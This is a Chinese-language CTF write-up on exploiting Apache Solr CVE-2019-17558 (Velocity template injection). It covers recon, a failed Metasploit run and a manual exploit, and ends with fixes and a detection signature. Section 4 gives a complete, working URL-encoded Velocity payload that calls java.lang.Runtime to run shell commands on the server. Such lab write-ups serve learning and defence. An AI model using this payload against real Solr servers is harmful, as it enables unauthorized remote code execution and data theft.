Apache Solr RCE (CVE-2019-17558) - CTF 报告

在 Apache Solr 中对 Velocity 模板注入漏洞进行实际利用，从自动化工具（Metasploit）的一个缺陷演进到成功的手动利用。

本报告记录了该练习的完整推理过程，重点在于诊断工具失败的原因并转向手动利用。

场景

1. 信息收集

初始阶段包括识别目标主机上活跃的服务。

nmap -sV -p- <TARGET_IP>

结果。

• 8983/tcp 端口开放。
• 服务识别为 Apache Solr。
• 通过 Web 面板识别出 Core：novacollection。

2. 漏洞分析

在访问管理面板后，确认 Solr 版本存在 Velocity Template Injection（Velocity 模板注入）漏洞。

该漏洞的触发条件是攻击者能够将 params.resource.loader.enabled 配置修改为 true，从而允许使用自定义 Velocity 模板，并借此在服务器上执行任意 Java 代码。

3. 自动化利用（Metasploit）

最初使用了 exploit/multi/http/solr_velocity_rce 模块。

该 exploit 成功修改了 Solr 的配置。

[+] params.resource.loader.enabled is true for core 'novacollection'

然而，最终的 payload 注入阶段因 Ruby 执行错误而失败。

NoMethodError: undefined method 'body' for nil:NilClass

这表明，虽然环境存在漏洞且已准备就绪，但该工具无法处理服务器响应以完成攻击。目标并非安全，只是模块的投递方式需要调整。

4. 手动利用

由于 Velocity Writer 已被 Metasploit 启用，因此通过 HTTP GET 请求手动执行注入，绕过了脚本错误。构造的 Velocity 模板用于实例化 java.lang.Runtime 并执行读取目标文件的命令。

http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在服务器上实际执行的命令。

cat /home/favorite_book.txt

5. 结果

注入成功，文件内容直接返回在 HTTP 响应体中，并在浏览器中渲染，从而获取了 flag。

经验教训

• 工具的局限性。自动化扫描器和 exploit 可能因环境特殊性或模块本身的 bug 而失败。
• 基础知识。理解 CVE-2019-17558 的工作原理，才使得能够从工具故障转向成功的手动攻击。
• 坚持。NoMethodError 错误并不代表目标安全，只是投递方式需要调整。

修复建议

• 将 Apache Solr 更新到已修复的版本（8.4 或更高版本）。
• 确保 params.resource.loader.enabled 保持禁用。
• 仅允许可信网络访问 8983 端口，切勿将 Solr 直接暴露到互联网。
• 监控对 select 端点并带有 wt=velocity 参数的请求，可作为 SIEM 中的检测签名。

参考资料

• CVE-2019-17558（NVD 和 Apache Solr 官方文档）。

免责声明

本仓库仅用于教育目的以及在受控环境（CTF）中记录学习过程。未经明确授权，请勿对系统使用这些技术。